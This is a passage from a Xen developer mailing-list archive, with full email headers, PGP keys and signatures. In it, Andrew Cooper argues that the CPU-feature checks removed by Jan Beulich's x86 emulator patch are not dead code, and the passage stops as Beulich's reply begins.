ZXdlZC1ieTogSnVlcmdlbiBHcm9zcyA8amdyb3NzQHN1c2UuY29tPg0KDQoNCkp1ZXJnZW4N
Cg==
--------------KY106VfoUkLyLy5WpA95x65A
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lvWAUy+dnyThpwdtF/jQ6j9RwE8VP0+NXcYpGJDWlNb9/JmYqLiX2Q3Tye
vpB0CA3dbBQp0OW0fgCetToGIQrg0MbD1C/sEOv8Mr4NAfbauXjZlvTj30H2jO0u
+6WGM6nHwbh2l5O8ZiHkH32iaSTfN7Eu5R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Ht4RKA0F7f5ipYBBrC6cyXJyyoprT10EMvU8VGiwXvT
yJz3fjoYsdFzpWPlJEBRMedCot60g5dmbdrZ5DWClAr0yau47zpWj3enf1tLWaqc
suylWsviuGjKGw7KHQd3bxALOknAp4dN3QwBYCKuZ7AddY9yjynVaD5X7nF9nO5B
jR/i1DG86lem3iBDXzXsZDn8R3/CwO0EGAEIACAWIQSFEmdy6PYElKXQl/ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------KY106VfoUkLyLy5WpA95x65A--

--------------T1o4F7E6yxliM0NwKW78fIth--

--------------n60WkKeIFoJnTp9C7eCLyKWV
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpPfaUFAwAAAAAACgkQsN6d1ii/Ey8N
Fwf/W+0geRVb9SVwgAgr6qWWYf89Uah3P+WNlhrvoY+obrqb5NOzWTIOvzS3pcQrRpmiM0p0SPAR
kCbm6OC/UMyV65gL8UxJeRiWujoEhriMNZTP5YrZ3UHf/FJJc3aPFsqgcSmarw+iBriAYAIdYLQ4
x4dRy2UYQP4fYUXbjoc3XI6QxzncZI2qLTnYens7T09hqjY1OWnfzLNU++5R7misQe9Og5yWubAF
VX3JGazrUik9ggv5ul8Gbi9/OKN4XBjLDa3vRhLnR31qVvW2FHz4jK1wmqWnvNUiQUdYsn+4JBTT
4BIEConyORGTymReKhO5GTu2Vcw4DiaoqH0TUaeFXw==
=SqzC
-----END PGP SIGNATURE-----

--------------n60WkKeIFoJnTp9C7eCLyKWV--


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 11:17:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 11:17:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357967.1612274 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whmkZ-0002Fd-KG; Thu, 09 Jul 2026 11:17:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357967.1612274; Thu, 09 Jul 2026 11:17:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whmkZ-0002FW-HF; Thu, 09 Jul 2026 11:17:03 +0000
Received: by outflank-mailman (input) for mailman id 1357967;
 Thu, 09 Jul 2026 11:17:01 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1whmkX-0002FQ-Gl
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:17:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whmkW-003LZ7-RN
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 13:17:00 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4f8322-e002-0a2a0a5209dd-0a2a450bac6e-34
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:17:00 +0200
Received: from [40.107.208.49]
 (helo=PH0PR06CU001.outbound.protection.outlook.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4f832a-ac48-0a2a450b0019-286bd03118d8-4
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:16:59 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by CY3PR03MB8149.namprd03.prod.outlook.com (2603:10b6:930:ff::20)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Thu, 9 Jul
 2026 11:16:55 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Thu, 9 Jul 2026
 11:16:55 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Ce0Zij11p1qkOjSoNEHtOXnmabm+uoyD+Yq8qW4/LwNUMnVbcw81RHi2tY1s3dB2qghHMTru4PRpI2A3hxizB8sv3eT2woO9F8ct3Jhlg62RkhsmC3VAGSwnicX+tweSHSLaQI23/CHefHYGe2o3VQ2s0fxoBVHBw29q/ohmGhKeAEOJCVzU7i9QKLbULQfHFRwiolWqtZcx9ypzJgt0S5EGprAbt5NeuEeV/I4169Ju9OdZ4g30pixmFZTOfSn4LstMoMkDfq8qyvGsv6HQTCTOFOrtUh2YTm/dsbUcVAhIUkr+RMFu4K2NnuW4Dt3lEPUL0rvr4P3x2PY2AVLorQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=XGTQzBav1uAQSQ/VDjLRFuxhBRQRlQrmPKB5PtbwteQ=;
 b=RuOsSlKR4sPAHho12MNlIv2Oqiu2ZHOpW9bPU4nvaKUt9AxXnImawUvjlkz3WqMSIVC86xsjj14JO68VvtgGmxnhcz0lWqgl1NWniEZK7jr7azs0qPe955znMkMIEiAsF/vNlpJuDFbpg98Vjq+1fDbDrip+omTATWiihLXX/qimABA2HHP897S7u5xnH6Nv+uLf3OSgn/NnJRlNDz2lxQ7VahZwH4E9jM4Cp+43ec7VV/qB7IBdrsgvWEjLZgBj0V8fMBO8+g6b62S1Vr12qb2VicO2v4MUODT9mOZbX3vPS/cl6z1j3VrM3oZ7DMl2mirjYEvQP46E0nuNzpEL/A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=XGTQzBav1uAQSQ/VDjLRFuxhBRQRlQrmPKB5PtbwteQ=;
 b=nRl3aF2v0yk9mUTgcClbgx1dOCOKP4cBwLC2Ts7Kv69qQubUdOCohIcRlIoOioTomAE6ngxeIT4nB/U4xE7hDaF+q8wW00QGwMJlg4qMgGsx5cHBuEWEoBNFZImkRnGAe6eam9rlphR/W+LXlwkqE6BjG3+94NGCu7yU6pdBAKc=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <aec621b1-283d-46a4-9ffc-f515a33c26e7@citrix.com>
Date: Thu, 9 Jul 2026 12:16:52 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH] x86emul: drop host_and_vcpu_must_have()
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <fe377539-f32b-4202-8ef6-fd5b959a7f66@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ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wQYAQgACQUCUuE2fwIbDAAKCRBlw/kGpdefoG4XEACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <fe377539-f32b-4202-8ef6-fd5b959a7f66@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0121.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:192::18) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|CY3PR03MB8149:EE_
X-MS-Office365-Filtering-Correlation-Id: dfef9168-0780-4a05-3bb8-08deddab95e9
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|366016|1800799024|3023799007|11063799006|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	c5EQHex2XU8CzqapyM9wsCO8xLBPDpAP9kWXNwtQ7ItZBfRWbMK5qXo4U/wKq2KLFIID2NLNh+bJNX0Fq3fxKLS5X7jYVyUC8tGG9r+3bGaLIsgOAa7o+NDHua6eXWlE31c/tV34ED8Hq6CDMTA+eGFoqkE+d6vkd59WYFKuAixHqpFDowxp+KJ3o33BEyyA1oUcUo8Xxoz4D5RulewCIyt56KUVpVaIId/SdeNesRLkfAyJwjOpxDihiRcXU7fWvQ+GdNZ54CsXTATxSTxIppwgPAf/sAGxnei5nxZ9cWoAv69BSML8+cvxqqHEEubeCZr3sLDUWZT6SHZUqJE5Jy1O9Df/Eh2jAZGgimYoVnGVMtpezhc4zc36UmFY+bnhAipS2tv8yMP7UkIqpatTIVyAI559LyfFax7pSZvGtxbK4496p6Y2cIEi303bt2OY99PiS7/KKhYCH9lTjWzDksG7TgFaIm/g/gItkJbVjAXtFYTBISkrvjCPD6bpCjZGszIvO81HRwbrFkbESzX6SE6kaRO9zs0YYqHZlOH2CRE3lOXJVfkFy8m+bKnhzez4xb49SO2Ow3hWg4fxjxxDG2JILC39+z9hh6eNJkwpO0fonB9FIylgV0IIPVfqGvDz8H2Asa0kNp70eQBjYgcOzRlnrnDD0D+M/h+dfd+PiYQ=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(376014)(366016)(1800799024)(3023799007)(11063799006)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0: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UZZVFRZK25nT0NTL2tIMFlNOWVsalhJcjNH?=
 =?utf-8?B?em9LUWRJVElhbSttNnN2RUdZTmxGQlFLZWg2SlVpLzQybXpmQUlBT00wUkEr?=
 =?utf-8?B?MHpRSjZvT2NPODRyWVhpdXNpQW54OXEyWWR4bzRoSEd6aTNLRFVxdGd5RWNa?=
 =?utf-8?B?ejFTT0taT0NEUlZYRFgrbmRzakg2WFNzR2YwV09heVFQVlNrOWRpUldacU94?=
 =?utf-8?B?UGV2NzkzYTJnaUFCcnp0ZHd6ZW1nZ0RCeU5NNHFrdFRQaHRodVhYT1cyVVF5?=
 =?utf-8?B?K1FJMnd0dXV1eDdqZ3BWWHlOV1pxaEswd1ozMVN1eE1GVHJwZUdnSzlLYjhO?=
 =?utf-8?B?Ky9zVk83a1JJQVJIN2FVNHVMMWRCajVRNG5jOHVUekFIc1FLU1ZzVWJmTTJO?=
 =?utf-8?B?RzJUZVQyQVR2V1VMOEF2N3Q2Q002WXNzOVhiS2dBVWZlQlEvbUxLQmhkTzdl?=
 =?utf-8?B?MGJTRVNoVUpXNHA4SVkwMFFjMFp1U01vQTZIOEU0WnRQWWYwa21QYjlLcVVu?=
 =?utf-8?B?YkRlWWo2NFVrNmFZWlB0YjVnRE9LMlN3NG9ld0JEVTViU0piQklUL2ZoVnJV?=
 =?utf-8?B?T20zSHV0L1g4dmw1Z0VoK1hIbHZSQmVibVhrNmIrMVk2djJUcEFXUT09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: dfef9168-0780-4a05-3bb8-08deddab95e9
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 11:16:55.8104
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: DRrcS5WZgDAib/26hADGeA6EuivcEKKUpk5RA+az0iywtZ6qYuNl8t4A733mtPFDUpMYDaYuIpK0A30TzPj/VvBFvjWFN42j1RtvyIvMJQs=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CY3PR03MB8149
X-purgate-ID: tlsNG-42698a/1783595820-A7931220-687CDA2F/0/0
X-purgate-type: clean
X-purgate-size: 2019

On 09/07/2026 10:46 am, Jan Beulich wrote:
> With CPU policy dependency logic now properly in place and working, and
> with us never enabling ISA bits in guest policies which the underlying
> hardware doesn't support, the dual checks aren't needed anymore. In fact
> in Misra terms they are dead code.

This absolutely cannot be called dead code, MISRA or otherwise.

We have a bunch of logic which is checking for A && B.Â  A and B are
distinct objects in memory, with A always being evaluated, B being
conditionally evaluated, and both having input into the final calculation.

We believe that in all cases, A has the same value as B, and therefore
the logic can be simplified to just B, but that is a logical leap, not a
transformation that any tooling can make.

>
> In turn, a number of cpu_has_* can then also go away, when their only user
> was the emulator code.
>
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> ---
> In my build (with all the other pending work in place) this is a savings
> of about 2k of generated code.
>
> A related question is in how far vcpu_has_*() are useful to retain. We
> could as well access the policy directly, which would even be more
> efficient when a "cp" local variable (or function parameter) is in scope.
> Then x86_emulate()'s instance could also have its __maybe_unused dropped.

You'd need the test harness able to use a struct cpu_policy in order to
drop vcpu_has_*().Â  It's doable, but isn't a small change.

> With the cpu_has_* being dropped I came to wonder why we have e.g.
> cpu_has_lkgs. This particular one was added together with cpu_has_fred,
> yet imo we better wouldn't add such #define-s when they're not going to be
> used.

Older versions of the FRED series checked for cpu_has_fred &&
cpu_has_lkgs, but I dropped the latter on discovering that Xen didn't
need an LKGS instruction at all.

I think I will need in order to get the guest policies working
correctly, so please don't drop it yet.

~Andrew


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 11:28:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 11:28:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357981.1612283 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whmvT-0003yC-J4; Thu, 09 Jul 2026 11:28:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357981.1612283; Thu, 09 Jul 2026 11:28:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whmvT-0003y5-FY; Thu, 09 Jul 2026 11:28:19 +0000
Received: by outflank-mailman (input) for mailman id 1357981;
 Thu, 09 Jul 2026 11:28:18 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whmvS-0003xw-NG
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:28:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whmvR-002waC-IC
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 13:28:17 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f85d1-bab6-0a2a0a5309dd-0a2a4502a1e6-2
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:28:17 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f85d1-5a27-0a2a45020019-d1558033acd6-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:28:17 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-493ece78b0cso3666385e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 04:28:17 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6ff432sm52531815e9.4.2026.07.09.04.28.16
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 04:28:16 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783596497; x=1784201297; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=NvSb14cevwQPVvi78VohFEjC8Xp6Xg+GL/zWE9jMkd0=;
        b=P/FRH1oitkRrYJxb94f02ZsFavr3V8B2i9RHkIMbRrjX1gdbr3NB6PdKmNPmyjHc5h
         JwYz1xtbwQdaOc+ujB/vEpvQhD+h7T0yXlHbsllSyivS1RjH93/zxBYA1cq+Oh++Uihp
         rJ3VhBumxoDjH3tQ/Ola5fzQshPqYVh7oDiuMjW2j+AwZ+MCYyIJfPlHM995maKASFIe
         EXDCj0xdxfLckEvzY0Ve96cYSasTYi4JBWVWwnRFlAk4tcHsroI9qugOTZ15nmWXO4op
         8FYoKXo+vq4+8OMpnMHAHtaV1aMcSgiOTMW2WwFRMWZLh0iiWpoHjxPioyVeJ/d3Au53
         tpLw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783596497; x=1784201297;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=NvSb14cevwQPVvi78VohFEjC8Xp6Xg+GL/zWE9jMkd0=;
        b=bLzTkTF6g4ISjpugMa6is/EqXRBAm5r7W6l21DDgcnVa0jIdO8qBJ6vDNZqJ8auLqH
         uXaixijxPwEr/3peDNreytkcp26cJFdyWv/c7I5k2n9AT6FPiZQabMzgI5K6wyytcKHa
         P9wJiw1aUcVkuJlmqexZ8ERLJR5/7pf4txdEuJSzQWYBEVdQ5aI4w/0QJnXVB73YV9J8
         dwNod1d3qGUuyqNp+vqs4y+p0tYBirWa46Hz9rlTj9QRO6A9hpNtJGRK4CvtiNzYBvaH
         9GZEMOHkZrVb0BVLA1HLJC0xGvGA4Dutbq1NYbnE+zqfHNFCPr+tT19u4AClwPE5+7PB
         lWgA==
X-Forwarded-Encrypted: i=1; AHgh+RrZ0dXIOqgq+H92FghkczbQnlGfS7rqM2C/oGxDXauX5RtOlxvDWE8h1cB/MYcnGbF9iSgQlEnp54Q=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzM2P0KMv+y1XPoyRbidTIoEZlTYOW+cHWNPlj6p8mWDFgCoDe/
	Soj7S2hlgClAUYRO2DkHpWl+iQec3/R3W33gddiOEcJcURoJ0SHcIdVT3KYCmfUAMAegrEjMi9I
	8uNwSOQ==
X-Gm-Gg: AfdE7ck2N/wt2ZT9zm+o8Elm7zZOSmoekQIlXTrAUAfJyMfCQ+znCJAQLKU90LD3QB3
	Z+dkOCj1MVCwwYcV+SN0ojVeqUo0mkQWDAa4Sb4G1IX/yaB6+TLJ/4WeJVCijfqnShbtJt+4qIu
	khAdjUt+5Pr3MxO7U972tH+XeoQRK7nNSE9dkcrE1XQKBAAaFrwTLwsX0GBHE4eKTZV0z9Z4RZ2
	L+CDm1z1Aja6f67G+kReMgK0mEwesdcXvrcyHeaxQJq4Bgr+h8hZTMe8YQ6L0fYwOAJf6tsrowF
	s3o1M2FquFhd6tkGjcILejX21GuIcQ84gehg1Yw12UoV+wnlvQeW408uztDX5IJKmijRfqRaKao
	x6nAuN0lfn2FKGiDgaTJhiIPgR4RCgw1lJ2t79IefieiA79bgv7nQnPgiJXpK7anj9o5N2kZq7M
	MWTadNFpUKyLl58rh0KvSZZrfjDhfsh6l1PCyJrqRVkkVSptApt1T0wy+3tr7C3OU5WPSIUvr4o
	oeg
X-Received: by 2002:a05:600c:4e4b:b0:490:44eb:c1ea with SMTP id 5b1f17b1804b1-493ee5845admr14100525e9.24.1783596496856;
        Thu, 09 Jul 2026 04:28:16 -0700 (PDT)
Message-ID: <e94254ab-10ae-4cdb-bb9f-143fcf4c40c1@suse.com>
Date: Thu, 9 Jul 2026 13:28:16 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86emul: drop host_and_vcpu_must_have()
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <fe377539-f32b-4202-8ef6-fd5b959a7f66@suse.com>
 <aec621b1-283d-46a4-9ffc-f515a33c26e7@citrix.com>
Content-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6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <aec621b1-283d-46a4-9ffc-f515a33c26e7@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783596497-56CF57C5-92C8F9B9/0/0
X-purgate-type: clean
X-purgate-size: 2893

On 09.07.2026 13:16, Andrew Cooper wrote:
> On 09/07/2026 10:46 am, Jan Beulich wrote:
>> With CPU policy dependency logic now properly in place and working, and
